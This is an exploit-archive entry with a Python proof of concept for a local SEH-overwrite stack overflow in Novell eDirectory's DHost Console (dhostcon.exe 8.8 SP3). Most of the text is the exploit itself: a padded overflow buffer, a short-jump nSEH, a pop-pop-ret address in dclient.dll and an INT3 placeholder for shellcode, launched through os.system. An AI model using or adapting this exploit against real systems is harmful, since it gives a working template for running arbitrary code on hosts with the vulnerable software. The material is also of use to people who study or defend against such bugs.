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Novel eDirectory DHost Console 8.8 SP3 Local SEH Overwrite
========================================================== Novel eDirectory DHost Console 8.8 SP3 Local SEH Overwrite ========================================================== # Exploit Title: Novel eDirectory DHost Console 8.8 SP3 Local SEH Overwrite # Date: 17/10/2010 # Author: d0lc3 (@rmallof - http://elotrolad0.blogspot.com/) # Software Link: http://www.novell.com/ # Version: 8.8 SP3 (20216.67)] # Tested on: win32 xp sp3 (spa) #Summary: # DHostCon.exe is prone to local denial of service caused by stack overflow # triggered if user-supplied parameters are too long (1074 bytes). # Due nature of this vulnerabilty, attackers could exploit this issue # to execute arbitrary code on local host. #PoC: #!/usr/bin/python import os,struct def main(): path="C:\Novell\NDS\dhostcon.exe" args="x.x.x.x" #ip server buf="A"*1065 nseh=struct.pack("<L",0x90909eeb) #jmp short 0012ff50 +NOP + NOP seh=struct.pack("<L",0x61012c20) #PPR dclient.dll shellcode=struct.pack("<B",0xCC) #INT3 crash=buf+shellcode+nseh+seh os.system(path+" "+args+" "+crash) #Crash! if __name__=="__main__": main() # 0day.today [2024-12-24] #